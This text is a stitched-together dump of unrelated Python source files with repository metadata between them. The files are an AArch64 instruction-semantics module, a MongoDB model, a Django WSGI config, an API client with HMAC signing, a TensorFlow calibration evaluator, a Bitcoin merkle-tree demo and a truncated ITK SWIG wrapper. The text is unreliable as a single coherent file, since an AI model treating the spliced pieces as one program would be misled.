@sbuild.parse
def adr(arg1, arg2):
arg1 = PC + arg2
@sbuild.parse
def b(arg1):
PC = arg1
ir.IRDst = arg1
@sbuild.parse
def br(arg1):
PC = arg1
ir.IRDst = arg1
@sbuild.parse
def blr(arg1):
PC = arg1
ir.IRDst = arg1
LR = m2_expr.ExprId(ir.get_next_label(instr), 64)
@sbuild.parse
def nop():
"""Do nothing"""
@sbuild.parse
def extr(arg1, arg2, arg3, arg4):
compose = m2_expr.ExprCompose(arg2, arg3)
arg1 = compose[int(arg4.arg):int(arg4)+arg1.size]
@sbuild.parse
def svc(arg1):
exception_flags = m2_expr.ExprInt(EXCEPT_INT_XX, exception_flags.size)
interrupt_num = m2_expr.ExprInt(int(arg1), interrupt_num.size)
mnemo_func = sbuild.functions
mnemo_func.update({
# fuying
'scvtf': mov,
'fcvtzs':mov,
'fcmpe': cmp,
'fadd':add,
'b.pl':b_pl,
'b.mi':b_mi,
'and': and_l,
'adds': adds,
'ands': ands,
'tst': tst,
'subs': subs,
'cmp': cmp,
'ccmp':ccmp,
'cmn': cmn,
'ccmn': ccmn,
'movk': movk,
'csinc': csinc,
'csinv': csinv,
'csneg': csneg,
'cset': cset,
'csetm': csetm,
'b.ne': b_ne,
'b.eq': b_eq,
'b.ge': b_ge,
'b.gt': b_gt,
'b.cc': b_cc,
'b.cs': b_cs,
'b.hi': b_hi,
'b.le': b_le,
'b.ls': b_ls,
'b.lt': b_lt,
'bics': bics,
'ret': ret,
'stp': stp,
'ldp': ldp,
'ldr': ldr,
'ldrb': ldrb,
'ldrh': ldrh,
'ldur': ldr,
'ldurb': ldrb,
'ldursb': ldrsb,
'ldurh': ldrh,
'ldursh': ldrsh,
'ldursw': ldrsw,
'ldrsb': ldrsb,
'ldrsh': ldrsh,
'ldrsw': ldrsw,
'str': l_str,
'strb': strb,
'strh': strh,
'stur': l_str,
'sturb': strb,
'sturh': strh,
'bfm': bfm,
'sbfm': sbfm,
'ubfm': ubfm,
'extr': extr,
'rev':rev,
'rev16':rev,
'negs':negs,
'mrs':mrs,
'fcvtzu':mov,
'ucvtf':ucvtf,
'fcmp':cmp,
'fcvt':mov,
'fabs':fabs,
'ldxr':ldxr,
'ldaxr':ldaxr,
'stlxr':stlxr,
'stxr':stlxr,
'dmb':dmb,
'msr':mrs,
'fmadd': fmadd,
'fmsub':fmsub,
'fnmsub':fmsub,
'clz':clz,
})
def get_mnemo_expr(ir, instr, *args):
# if not instr.name.lower() in mnemo_func:
# raise NotImplementedError('unknown mnemo %s' % instr)
# if instr.name.lower() == 'sxtb':
# print mnemo_func[instr.name.lower()]
# print ir, instr, args
instr, extra_ir = mnemo_func[instr.name.lower()](ir, instr, *args)
return instr, extra_ir
class aarch64info:
mode = "aarch64"
# offset
class ir_aarch64l(IntermediateRepresentation):
def __init__(self, symbol_pool=None):
IntermediateRepresentation.__init__(self, mn_aarch64, "l", symbol_pool)
self.pc = PC
self.sp = SP
self.IRDst = m2_expr.ExprId('IRDst', 64)
self.addrsize = 64
def get_ir(self, instr):
args = instr.args
if len(args) and isinstance(args[-1], m2_expr.ExprOp):
if (args[-1].op in ['<<', '>>', '<<a', 'a>>', '<<<', '>>>'] and
isinstance(args[-1].args[-1], m2_expr.ExprId)):
args[-1] = m2_expr.ExprOp(args[-1].op,
args[-1].args[0],
args[-1].args[-1][:8].zeroExtend(32))
instr_ir, extra_ir = get_mnemo_expr(self, instr, *args)
self.mod_pc(instr, instr_ir, extra_ir)
instr_ir, extra_ir = self.del_dst_zr(instr, instr_ir, extra_ir)
return instr_ir, extra_ir
def expr_fix_regs_for_mode(self, e):
return e.replace_expr(replace_regs)
def expraff_fix_regs_for_mode(self, e):
dst = self.expr_fix_regs_for_mode(e.dst)
src = self.expr_fix_regs_for_mode(e.src)
return m2_expr.ExprAff(dst, src)
def irbloc_fix_regs_for_mode(self, irblock, mode=64):
irs = []
for assignblk in irblock:
new_assignblk = dict(assignblk)
for dst, src in assignblk.iteritems():
del(new_assignblk[dst])
# Special case for 64 bits:
# If destination is a 32 bit reg, zero extend the 64 bit reg
if (isinstance(dst, m2_expr.ExprId) and
dst.size == 32 and
dst in replace_regs):
src = src.zeroExtend(64)
dst = replace_regs[dst].arg
dst = self.expr_fix_regs_for_mode(dst)
src = self.expr_fix_regs_for_mode(src)
new_assignblk[dst] = src
irs.append(AssignBlock(new_assignblk, assignblk.instr))
return IRBlock(irblock.label, irs)
def mod_pc(self, instr, instr_ir, extra_ir):
"Replace PC by the instruction's offset"
cur_offset = m2_expr.ExprInt(instr.offset, 64)
pc_fixed = {self.pc: cur_offset}
for i, expr in enumerate(instr_ir):
dst, src = expr.dst, expr.src
if dst != self.pc:
dst = dst.replace_expr(pc_fixed)
src = src.replace_expr(pc_fixed)
instr_ir[i] = m2_expr.ExprAff(dst, src)
for idx, irblock in enumerate(extra_ir):
extra_ir[idx] = irblock.modify_exprs(lambda expr: expr.replace_expr(pc_fixed) \
if expr != self.pc else expr,
lambda expr: expr.replace_expr(pc_fixed))
def del_dst_zr(self, instr, instr_ir, extra_ir):
"Writes to zero register are discarded"
regs_to_fix = [WZR, XZR]
instr_ir = [expr for expr in instr_ir if expr.dst not in regs_to_fix]
new_irblocks = []
for irblock in extra_ir:
irs = []
for assignblk in irblock:
new_dsts = {dst:src for dst, src in assignblk.iteritems()
if dst not in regs_to_fix}
irs.append(AssignBlock(new_dsts, assignblk.instr))
new_irblocks.append(IRBlock(irblock.label, irs))
return instr_ir, new_irblocks
class ir_aarch64b(ir_aarch64l):
def __init__(self, symbol_pool=None):
IntermediateRepresentation.__init__(self, mn_aarch64, "b", symbol_pool)
self.pc = PC
self.sp = SP
self.IRDst = m2_expr.ExprId('IRDst', 64)
| [
"fulirong007@gmail.com"
] | fulirong007@gmail.com |
d588c63a39712c5cef1af4b962e2afc3a80a8af1 | b8d800433b005e9629c77426b0a7fdb70b2ac217 | /models/test.py | 5dfbdf8379fbf534c98c3019afaa23b80e48ceaf | [] | no_license | ivpusic/mongo-spade-replicate | 0e40c3b76a6b60731bfc78ab68c7c354350ccb9f | 0710867482c7be54a123ef4150e3d3e5ba865e73 | refs/heads/master | 2016-09-06T11:32:49.479448 | 2014-02-08T10:25:34 | 2014-02-08T10:25:34 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,455 | py | from bson.json_util import dumps, loads
from event.mongo_event import trigger_add
from event.mongo_event import trigger_update
from event.mongo_event import trigger_delete
from abc import ABCMeta
def object_encoder(obj):
if isinstance(obj, BaseModel):
return obj.__dict__
return obj
class BaseModel:
''' Base abstract class for models '''
__metaclass__ = ABCMeta
def save(self):
'''
Convert python object to acceptable mongodb JSON
and call function for actual DB save
'''
trigger_add(loads(dumps(
self.__dict__,
default=object_encoder)),
self.__class__.__dict__
)
def update(self):
trigger_update(loads(dumps(
self.__dict__,
default=object_encoder)),
self.__class__.__dict__
)
def delete(self):
trigger_delete(loads(dumps(
self.__dict__,
default=object_encoder)),
self.__class__.__dict__
)
class Person(BaseModel):
collection = 'peoples'
db = 'people'
def __init__(self, first, last, _id=None):
self.first = first
self.last = last
if _id:
self._id = _id
class PersonList(BaseModel):
collection = 'persons'
db = 'person'
def __init__(self, *args, **kwargs):
self.person_list = []
def add(self, person):
self.person_list.append(person)
| [
"pusic007@gmail.com"
] | pusic007@gmail.com |
87ec679d46a9949e06b46f7c0e8ba22f4a61360e | 9dae033887882a42f85fdb86f5d83a0437ff3554 | /miedu/wsgi.py | 6f0810966350bfd5c0d77423ce3b6524dacb0a0b | [] | no_license | MHMDhub/miedu | f0aa046ec1767dbd591dfd0b39f1ddb4f3de773e | 110732ac6e972ce71ecbd2d552b99d76b873b75d | refs/heads/master | 2021-01-16T22:36:42.572544 | 2013-04-07T04:03:48 | 2013-04-07T04:03:48 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,416 | py | """
WSGI config for miedu project.
This module contains the WSGI application used by Django's development server
and any production WSGI deployments. It should expose a module-level variable
named ``application``. Django's ``runserver`` and ``runfcgi`` commands discover
this application via the ``WSGI_APPLICATION`` setting.
Usually you will have the standard Django WSGI application here, but it also
might make sense to replace the whole Django WSGI application with a custom one
that later delegates to the Django one. For example, you could introduce WSGI
middleware here, or combine a Django application with an application of another
framework.
"""
import os
# We defer to a DJANGO_SETTINGS_MODULE already in the environment. This breaks
# if running multiple sites in the same mod_wsgi process. To fix this, use
# mod_wsgi daemon mode with each site in its own daemon process, or use
# os.environ["DJANGO_SETTINGS_MODULE"] = "miedu.settings"
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "miedu.settings")
# This application object is used by any WSGI server configured to use this
# file. This includes Django's development server, if the WSGI_APPLICATION
# setting points here.
from django.core.wsgi import get_wsgi_application
application = get_wsgi_application()
# Apply WSGI middleware here.
# from helloworld.wsgi import HelloWorldApplication
# application = HelloWorldApplication(application)
| [
"si.alan090@gmail.com"
] | si.alan090@gmail.com |
6b33e5850d5752b1c97651c879035e61e2918b02 | 0aa40a63af9b87f82206027567312d31e94ca51e | /Veridu/SDK/API.py | f6ff27c2dda1e33c01d6b4e2feb795dffe67c106 | [
"MIT"
] | permissive | veridu/veridu-python | 8ab56ac9fa20498b5ebb265f720090b0591b8057 | 65a680e44cea72bc0290e7c03b21e51a3f2a4b73 | refs/heads/master | 2021-01-10T02:00:11.692317 | 2016-02-11T13:25:36 | 2016-02-11T13:25:36 | 51,076,358 | 0 | 4 | null | 2017-04-12T12:29:59 | 2016-02-04T13:04:54 | Python | UTF-8 | Python | false | false | 3,105 | py | import urlparse
import urllib
import requests
import random
import time
import collections
import hashlib
import hmac
from Veridu.Exceptions.InvalidResponse import InvalidResponse
from Veridu.Exceptions.InvalidFormat import InvalidFormat
from Veridu.Exceptions.APIError import APIError
from Veridu.Exceptions.NonceMismatch import NonceMismatch
class API(object):
def __init__(self, key, secret, version="0.3"):
self.key = key
self.secret = secret
self.version = version
self.session = None
self.headers = {
"Veridu-Client": key,
"User-Agent": "Veridu-Python/0.1.2"
}
def setSession(self, session):
self.session = session
self.headers["Veridu-Session"] = session
def getSession(self):
return self.session
def purgeSession(self):
self.session = None
self.headers.pop("Veridu-Session", None)
def createSignature(self, method, url):
self.nonce = ''.join([str(random.randint(0, 9)) for i in range(10)])
rawPayload = {
"client": self.key,
"hash": "sha1",
"method": method.upper(),
"nonce": self.nonce,
"resource": url,
"timestamp": int(time.time()),
"version": self.version
}
payload = urllib.urlencode(collections.OrderedDict(sorted(rawPayload.items())))
hmacInstance = hmac.new(self.secret, msg=payload, digestmod=hashlib.sha1)
rawPayload["signature"] = hmacInstance.hexdigest()
return rawPayload
def fetch(self, method, resource, data=None):
baseUrl = urlparse.urljoin("https://api.veridu.com", "/%s/%s" % (self.version, resource))
if (method == "GET"):
response = requests.get(baseUrl, params=data, headers=self.headers)
elif (method == "POST"):
response = requests.post(baseUrl, data=data, headers=self.headers)
elif (method == "PUT"):
response = requests.put(baseUrl, data=data, headers=self.headers)
elif (method == "DELETE"):
response = requests.delete(baseUrl, data=data, headers=self.headers)
try:
json = response.json()
if "status" not in json:
raise InvalidResponse(response.text)
if json["status"] == False:
self.lastError = json["error"]["type"]
raise APIError(json["error"]["message"])
return json
except ValueError:
raise InvalidFormat(response.text)
def signedFetch(self, method, resource, data=None):
sign = self.createSignature(
method,
urlparse.urljoin("https://api.veridu.com", "/%s/%s" % (self.version, resource))
)
if data is None:
json = self.fetch(method, resource, sign)
else:
data.update(sign)
json = self.fetch(method, resource, data)
if "nonce" not in json or json["nonce"] != self.nonce:
raise NonceMismatch()
json.pop("nonce", None)
return json
| [
"flaviohbatista@gmail.com"
] | flaviohbatista@gmail.com |
47123de5d5d060b962af11e1a4e5c2005cd19e49 | 99ccdf4637c1575a98b4c3bdd7811dcd10bfc956 | /todo/migrations/0002_auto_20210722_1527.py | 09dde7b3be52ad14a0597f0f37d067037b37cd24 | [] | no_license | tensho9408/django-todoapp-v2 | 89847dd831413237e3bb5751f542b53dd81d211b | a801e29bf24d07b2aee28ae6723824783ddf2b53 | refs/heads/master | 2023-06-18T22:34:53.769010 | 2021-07-24T15:45:28 | 2021-07-24T15:45:28 | 388,524,170 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 663 | py | # Generated by Django 3.2.5 on 2021-07-22 06:27
from django.db import migrations, models
import django.utils.timezone
class Migration(migrations.Migration):
dependencies = [
('todo', '0001_initial'),
]
operations = [
migrations.AddField(
model_name='todomodel',
name='duedate',
field=models.DateField(default=django.utils.timezone.now),
),
migrations.AddField(
model_name='todomodel',
name='priority',
field=models.CharField(choices=[('danger', 'high'), ('warning', 'normal'), ('primary', 'low')], max_length=50, null=True),
),
]
| [
"tenshoohashi@gmail.com"
] | tenshoohashi@gmail.com |
b4c3e6a9ff92cc9e7436eaf4a093ab1686cc8108 | 109b24ada597936b60e7750ad6a7ed226a469081 | /170223demo_merkletree.py | 5f65646c418e90631c6bffb331d6e527ca217d78 | [] | no_license | Fukuhara-Kichinosuke/myblockchain | 272df55e123e21a5c543c4d4a6b83606ddf6e3cc | c805504a5b6222440ee0b76c308d11e6bbe41fe0 | refs/heads/master | 2020-05-22T18:51:18.145805 | 2017-03-12T06:48:05 | 2017-03-12T06:48:05 | 84,715,977 | 0 | 0 | null | 2017-03-12T10:01:33 | 2017-03-12T10:01:33 | null | UTF-8 | Python | false | false | 1,308 | py | # -*- coding: utf-8 -*-
"""
Created on Thu Feb 9 2017
@author: fukuharakichinosuke
"""
import json
import sys
import requests
import math
import numpy as np
from blockchainapi_mod import *
from blockchain import blockexplorer
block_hash = str(sys.argv[1])
cl00 = RequestModelResponse # RequestModelResponse class
cl01 = SingleBlock # SingleBlocke class
cl02 = SingleTransaction # SingleTransaction class
cl03 = TransactionInputs # TransactionInputs class
cl04 = TransactionOut # TransactionOut class
cl05 = TransactionHashes # TransactionHashes class
cl06 = MerkleTree # MerkleTree class
def Main(block_hash):
singleblock_resp = cl01.getsingleBlock(block_hash)
singleblock_set = cl01.getsingleblockSet(singleblock_resp)
singletransactionList = cl02.getsingleTransaction(singleblock_set)
print("transactionList length:",len(singletransactionList))
hashList = []
for i in range(len(singletransactionList)):
singletransactionDict = singletransactionList[i]
v = singletransactionDict['hash']
hashList.append(v.encode('utf-8'))
sub_t = cl06.m_tree1(hashList)
while len(sub_t) > 1:
print(len(sub_t))
sub_t = cl06.m_tree2(sub_t)
print(sub_t)
if __name__ == "__main__":
Main(block_hash)
| [
"noreply@github.com"
] | Fukuhara-Kichinosuke.noreply@github.com |
fede31df8016b16d85ff35ad01ca6a1968c650ff | ed06a8f606f909aa82e41c5747a9fd0075a41912 | /Mundo 1/Exercicio12.py | 504c3770e396a1085f88ede0efbef43f80d13b66 | [] | no_license | loumatheu/ExerciciosdePython | 7a96ce19201e68846f152cdd0a5ebee70bef59b5 | 2ce067956c1b6a4fa91910070a727f127138e7d9 | refs/heads/main | 2023-09-04T10:30:31.456093 | 2021-11-10T19:23:14 | 2021-11-10T19:23:14 | 406,768,538 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 780 | py | cores = {'azul':'\033[1;34m','verde':'\033[1;32m','semestilo':'\033[m', 'vermelho':'\033[1;31m',
'lilas':'\033[1;35m', 'amarelo':'\033[1;33m', 'verdepiscina':'\033[1;36m'}
print(f"""{cores['azul']}====================================================================
CHALLENGE 12
===================================================================={cores['semestilo']}""")
print(f'{cores["vermelho"]} SISTEMA DE DESCONTO{cores["semestilo"]}')
preço = float(input(f'Qual o preço do produto? {cores["verde"]}R${cores["semestilo"]}'))
print(f'O valor do produto com {cores["vermelho"]}desconto{cores["semestilo"]} é de: {cores["verde"]}R$'
f'{cores["semestilo"]}{preço*0.95:.2f}!')
print(f'{cores["azul"]}-'*67)
| [
"luiz.matheus.77985@gmail.com"
] | luiz.matheus.77985@gmail.com |
494c29e9fe3a84a374cb6cd28ca676afa31d980d | 753a70bc416e8dced2853f278b08ef60cdb3c768 | /models/research/object_detection/metrics/calibration_evaluation.py | e3fc4b05639b94d7425a8811ef92e1878c13f4f8 | [
"Apache-2.0",
"MIT"
] | permissive | finnickniu/tensorflow_object_detection_tflite | ef94158e5350613590641880cb3c1062f7dd0efb | a115d918f6894a69586174653172be0b5d1de952 | refs/heads/master | 2023-04-06T04:59:24.985923 | 2022-09-20T16:29:08 | 2022-09-20T16:29:08 | 230,891,552 | 60 | 19 | MIT | 2023-03-25T00:31:18 | 2019-12-30T09:58:41 | C++ | UTF-8 | Python | false | false | 10,266 | py | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Class for evaluating object detections with calibration metrics."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import tensorflow.compat.v1 as tf
from object_detection.box_coders import mean_stddev_box_coder
from object_detection.core import box_list
from object_detection.core import region_similarity_calculator
from object_detection.core import standard_fields
from object_detection.core import target_assigner
from object_detection.matchers import argmax_matcher
from object_detection.metrics import calibration_metrics
from object_detection.utils import object_detection_evaluation
# TODO(zbeaver): Implement metrics per category.
class CalibrationDetectionEvaluator(
object_detection_evaluation.DetectionEvaluator):
"""Class to evaluate calibration detection metrics."""
def __init__(self,
categories,
iou_threshold=0.5):
"""Constructor.
Args:
categories: A list of dicts, each of which has the following keys -
'id': (required) an integer id uniquely identifying this category.
'name': (required) string representing category name e.g., 'cat', 'dog'.
iou_threshold: Threshold above which to consider a box as matched during
evaluation.
"""
super(CalibrationDetectionEvaluator, self).__init__(categories)
# Constructing target_assigner to match detections to groundtruth.
similarity_calc = region_similarity_calculator.IouSimilarity()
matcher = argmax_matcher.ArgMaxMatcher(
matched_threshold=iou_threshold, unmatched_threshold=iou_threshold)
box_coder = mean_stddev_box_coder.MeanStddevBoxCoder(stddev=0.1)
self._target_assigner = target_assigner.TargetAssigner(
similarity_calc, matcher, box_coder)
def match_single_image_info(self, image_info):
"""Match detections to groundtruth for a single image.
Detections are matched to available groundtruth in the image based on the
IOU threshold from the constructor. The classes of the detections and
groundtruth matches are then compared. Detections that do not have IOU above
the required threshold or have different classes from their match are
considered negative matches. All inputs in `image_info` originate or are
inferred from the eval_dict passed to class method
`get_estimator_eval_metric_ops`.
Args:
image_info: a tuple or list containing the following (in order):
- gt_boxes: tf.float32 tensor of groundtruth boxes.
- gt_classes: tf.int64 tensor of groundtruth classes associated with
groundtruth boxes.
- num_gt_box: scalar indicating the number of groundtruth boxes per
image.
- det_boxes: tf.float32 tensor of detection boxes.
- det_classes: tf.int64 tensor of detection classes associated with
detection boxes.
- num_det_box: scalar indicating the number of detection boxes per
image.
Returns:
is_class_matched: tf.int64 tensor identical in shape to det_boxes,
indicating whether detection boxes matched with and had the same
class as groundtruth annotations.
"""
(gt_boxes, gt_classes, num_gt_box, det_boxes, det_classes,
num_det_box) = image_info
detection_boxes = det_boxes[:num_det_box]
detection_classes = det_classes[:num_det_box]
groundtruth_boxes = gt_boxes[:num_gt_box]
groundtruth_classes = gt_classes[:num_gt_box]
det_boxlist = box_list.BoxList(detection_boxes)
gt_boxlist = box_list.BoxList(groundtruth_boxes)
# Target assigner requires classes in one-hot format. An additional
# dimension is required since gt_classes are 1-indexed; the zero index is
# provided to all non-matches.
one_hot_depth = tf.cast(tf.add(tf.reduce_max(groundtruth_classes), 1),
dtype=tf.int32)
gt_classes_one_hot = tf.one_hot(
groundtruth_classes, one_hot_depth, dtype=tf.float32)
one_hot_cls_targets, _, _, _, _ = self._target_assigner.assign(
det_boxlist,
gt_boxlist,
gt_classes_one_hot,
unmatched_class_label=tf.zeros(shape=one_hot_depth, dtype=tf.float32))
# Transform from one-hot back to indexes.
cls_targets = tf.argmax(one_hot_cls_targets, axis=1)
is_class_matched = tf.cast(
tf.equal(tf.cast(cls_targets, tf.int64), detection_classes),
dtype=tf.int64)
return is_class_matched
def get_estimator_eval_metric_ops(self, eval_dict):
"""Returns a dictionary of eval metric ops.
Note that once value_op is called, the detections and groundtruth added via
update_op are cleared.
This function can take in groundtruth and detections for a batch of images,
or for a single image. For the latter case, the batch dimension for input
tensors need not be present.
Args:
eval_dict: A dictionary that holds tensors for evaluating object detection
performance. For single-image evaluation, this dictionary may be
produced from eval_util.result_dict_for_single_example(). If multi-image
evaluation, `eval_dict` should contain the fields
'num_groundtruth_boxes_per_image' and 'num_det_boxes_per_image' to
properly unpad the tensors from the batch.
Returns:
a dictionary of metric names to tuple of value_op and update_op that can
be used as eval metric ops in tf.estimator.EstimatorSpec. Note that all
update ops must be run together and similarly all value ops must be run
together to guarantee correct behaviour.
"""
# Unpack items from the evaluation dictionary.
input_data_fields = standard_fields.InputDataFields
detection_fields = standard_fields.DetectionResultFields
image_id = eval_dict[input_data_fields.key]
groundtruth_boxes = eval_dict[input_data_fields.groundtruth_boxes]
groundtruth_classes = eval_dict[input_data_fields.groundtruth_classes]
detection_boxes = eval_dict[detection_fields.detection_boxes]
detection_scores = eval_dict[detection_fields.detection_scores]
detection_classes = eval_dict[detection_fields.detection_classes]
num_gt_boxes_per_image = eval_dict.get(
'num_groundtruth_boxes_per_image', None)
num_det_boxes_per_image = eval_dict.get('num_det_boxes_per_image', None)
is_annotated_batched = eval_dict.get('is_annotated', None)
if not image_id.shape.as_list():
# Apply a batch dimension to all tensors.
image_id = tf.expand_dims(image_id, 0)
groundtruth_boxes = tf.expand_dims(groundtruth_boxes, 0)
groundtruth_classes = tf.expand_dims(groundtruth_classes, 0)
detection_boxes = tf.expand_dims(detection_boxes, 0)
detection_scores = tf.expand_dims(detection_scores, 0)
detection_classes = tf.expand_dims(detection_classes, 0)
if num_gt_boxes_per_image is None:
num_gt_boxes_per_image = tf.shape(groundtruth_boxes)[1:2]
else:
num_gt_boxes_per_image = tf.expand_dims(num_gt_boxes_per_image, 0)
if num_det_boxes_per_image is None:
num_det_boxes_per_image = tf.shape(detection_boxes)[1:2]
else:
num_det_boxes_per_image = tf.expand_dims(num_det_boxes_per_image, 0)
if is_annotated_batched is None:
is_annotated_batched = tf.constant([True])
else:
is_annotated_batched = tf.expand_dims(is_annotated_batched, 0)
else:
if num_gt_boxes_per_image is None:
num_gt_boxes_per_image = tf.tile(
tf.shape(groundtruth_boxes)[1:2],
multiples=tf.shape(groundtruth_boxes)[0:1])
if num_det_boxes_per_image is None:
num_det_boxes_per_image = tf.tile(
tf.shape(detection_boxes)[1:2],
multiples=tf.shape(detection_boxes)[0:1])
if is_annotated_batched is None:
is_annotated_batched = tf.ones_like(image_id, dtype=tf.bool)
# Filter images based on is_annotated_batched and match detections.
image_info = [tf.boolean_mask(tensor, is_annotated_batched) for tensor in
[groundtruth_boxes, groundtruth_classes,
num_gt_boxes_per_image, detection_boxes, detection_classes,
num_det_boxes_per_image]]
is_class_matched = tf.map_fn(
self.match_single_image_info, image_info, dtype=tf.int64)
y_true = tf.squeeze(is_class_matched)
y_pred = tf.squeeze(tf.boolean_mask(detection_scores, is_annotated_batched))
ece, update_op = calibration_metrics.expected_calibration_error(
y_true, y_pred)
return {'CalibrationError/ExpectedCalibrationError': (ece, update_op)}
def add_single_ground_truth_image_info(self, image_id, groundtruth_dict):
"""Adds groundtruth for a single image to be used for evaluation.
Args:
image_id: A unique string/integer identifier for the image.
groundtruth_dict: A dictionary of groundtruth numpy arrays required
for evaluations.
"""
raise NotImplementedError
def add_single_detected_image_info(self, image_id, detections_dict):
"""Adds detections for a single image to be used for evaluation.
Args:
image_id: A unique string/integer identifier for the image.
detections_dict: A dictionary of detection numpy arrays required for
evaluation.
"""
raise NotImplementedError
def evaluate(self):
"""Evaluates detections and returns a dictionary of metrics."""
raise NotImplementedError
def clear(self):
"""Clears the state to prepare for a fresh evaluation."""
raise NotImplementedError
| [
"finn.niu@apptech.com.hk"
] | finn.niu@apptech.com.hk |
83d042904a986cd4ad3a58ee892205b4cf61e7b0 | b156c2f5ee7417dfa1f6cdcf14e9773a25397544 | /GeneVisualization/venv2/Lib/site-packages/itk/itkVectorConfidenceConnectedImageFilterPython.py | 7bc6ab589db1a24b58adb144511094c296061932 | [] | no_license | PinarTurkyilmaz/Vis | 1115d9426e9c8eeb5d07949241713d6f58a7721b | 4dd4426a70c0bd0a6e405ffe923afee29630aa67 | refs/heads/master | 2022-11-18T13:16:18.668065 | 2020-07-06T21:04:10 | 2020-07-06T21:04:10 | 226,217,392 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 629,267 | py | # This file was automatically generated by SWIG (http://www.swig.org).
# Version 3.0.8
#
# Do not make changes to this file unless you know what you are doing--modify
# the SWIG interface file instead.
from sys import version_info
if version_info >= (3, 0, 0):
new_instancemethod = lambda func, inst, cls: _itkVectorConfidenceConnectedImageFilterPython.SWIG_PyInstanceMethod_New(func)
else:
from new import instancemethod as new_instancemethod
if version_info >= (2, 6, 0):
def swig_import_helper():
from os.path import dirname
import imp
fp = None
try:
fp, pathname, description = imp.find_module('_itkVectorConfidenceConnectedImageFilterPython', [dirname(__file__)])
except ImportError:
import _itkVectorConfidenceConnectedImageFilterPython
return _itkVectorConfidenceConnectedImageFilterPython
if fp is not None:
try:
_mod = imp.load_module('_itkVectorConfidenceConnectedImageFilterPython', fp, pathname, description)
finally:
fp.close()
return _mod
_itkVectorConfidenceConnectedImageFilterPython = swig_import_helper()
del swig_import_helper
else:
import _itkVectorConfidenceConnectedImageFilterPython
del version_info
try:
_swig_property = property
except NameError:
pass # Python < 2.2 doesn't have 'property'.
def _swig_setattr_nondynamic(self, class_type, name, value, static=1):
if (name == "thisown"):
return self.this.own(value)
if (name == "this"):
if type(value).__name__ == 'SwigPyObject':
self.__dict__[name] = value
return
method = class_type.__swig_setmethods__.get(name, None)
if method:
return method(self, value)
if (not static):
object.__setattr__(self, name, value)
else:
raise AttributeError("You cannot add attributes to %s" % self)
def _swig_setattr(self, class_type, name, value):
return _swig_setattr_nondynamic(self, class_type, name, value, 0)
def _swig_getattr_nondynamic(self, class_type, name, static=1):
if (name == "thisown"):
return self.this.own()
method = class_type.__swig_getmethods__.get(name, None)
if method:
return method(self)
if (not static):
return object.__getattr__(self, name)
else:
raise AttributeError(name)
def _swig_getattr(self, class_type, name):
return _swig_getattr_nondynamic(self, class_type, name, 0)
def _swig_repr(self):
try:
strthis = "proxy of " + self.this.__repr__()
except Exception:
strthis = ""
return "<%s.%s; %s >" % (self.__class__.__module__, self.__class__.__name__, strthis,)
try:
_object = object
_newclass = 1
except AttributeError:
class _object:
pass
_newclass = 0
def _swig_setattr_nondynamic_method(set):
def set_attr(self, name, value):
if (name == "thisown"):
return self.this.own(value)
if hasattr(self, name) or (name == "this"):
set(self, name, value)
else:
raise AttributeError("You cannot add attributes to %s" % self)
return set_attr
import itkImageToImageFilterBPython
import itkImageSourcePython
import itkImageSourceCommonPython
import ITKCommonBasePython
import pyBasePython
import itkImagePython
import itkSizePython
import itkPointPython
import vnl_vector_refPython
import vnl_vectorPython
import vnl_matrixPython
import stdcomplexPython
import itkVectorPython
import itkFixedArrayPython
import itkIndexPython
import itkOffsetPython
import itkRGBAPixelPython
import itkCovariantVectorPython
import itkRGBPixelPython
import itkMatrixPython
import vnl_matrix_fixedPython
import itkSymmetricSecondRankTensorPython
import itkImageRegionPython
import itkVectorImagePython
import itkVariableLengthVectorPython
import itkImageToImageFilterCommonPython
def itkVectorConfidenceConnectedImageFilterICVF43IUS3_New():
return itkVectorConfidenceConnectedImageFilterICVF43IUS3.New()
def itkVectorConfidenceConnectedImageFilterICVF42IUS2_New():
return itkVectorConfidenceConnectedImageFilterICVF42IUS2.New()
def itkVectorConfidenceConnectedImageFilterICVF33IUS3_New():
return itkVectorConfidenceConnectedImageFilterICVF33IUS3.New()
def itkVectorConfidenceConnectedImageFilterICVF32IUS2_New():
return itkVectorConfidenceConnectedImageFilterICVF32IUS2.New()
def itkVectorConfidenceConnectedImageFilterICVF23IUS3_New():
return itkVectorConfidenceConnectedImageFilterICVF23IUS3.New()
def itkVectorConfidenceConnectedImageFilterICVF22IUS2_New():
return itkVectorConfidenceConnectedImageFilterICVF22IUS2.New()
def itkVectorConfidenceConnectedImageFilterICVF43IUC3_New():
return itkVectorConfidenceConnectedImageFilterICVF43IUC3.New()
def itkVectorConfidenceConnectedImageFilterICVF42IUC2_New():
return itkVectorConfidenceConnectedImageFilterICVF42IUC2.New()
def itkVectorConfidenceConnectedImageFilterICVF33IUC3_New():
return itkVectorConfidenceConnectedImageFilterICVF33IUC3.New()
def itkVectorConfidenceConnectedImageFilterICVF32IUC2_New():
return itkVectorConfidenceConnectedImageFilterICVF32IUC2.New()
def itkVectorConfidenceConnectedImageFilterICVF23IUC3_New():
return itkVectorConfidenceConnectedImageFilterICVF23IUC3.New()
def itkVectorConfidenceConnectedImageFilterICVF22IUC2_New():
return itkVectorConfidenceConnectedImageFilterICVF22IUC2.New()
def itkVectorConfidenceConnectedImageFilterICVF43ISS3_New():
return itkVectorConfidenceConnectedImageFilterICVF43ISS3.New()
def itkVectorConfidenceConnectedImageFilterICVF42ISS2_New():
return itkVectorConfidenceConnectedImageFilterICVF42ISS2.New()
def itkVectorConfidenceConnectedImageFilterICVF33ISS3_New():
return itkVectorConfidenceConnectedImageFilterICVF33ISS3.New()
def itkVectorConfidenceConnectedImageFilterICVF32ISS2_New():
return itkVectorConfidenceConnectedImageFilterICVF32ISS2.New()
def itkVectorConfidenceConnectedImageFilterICVF23ISS3_New():
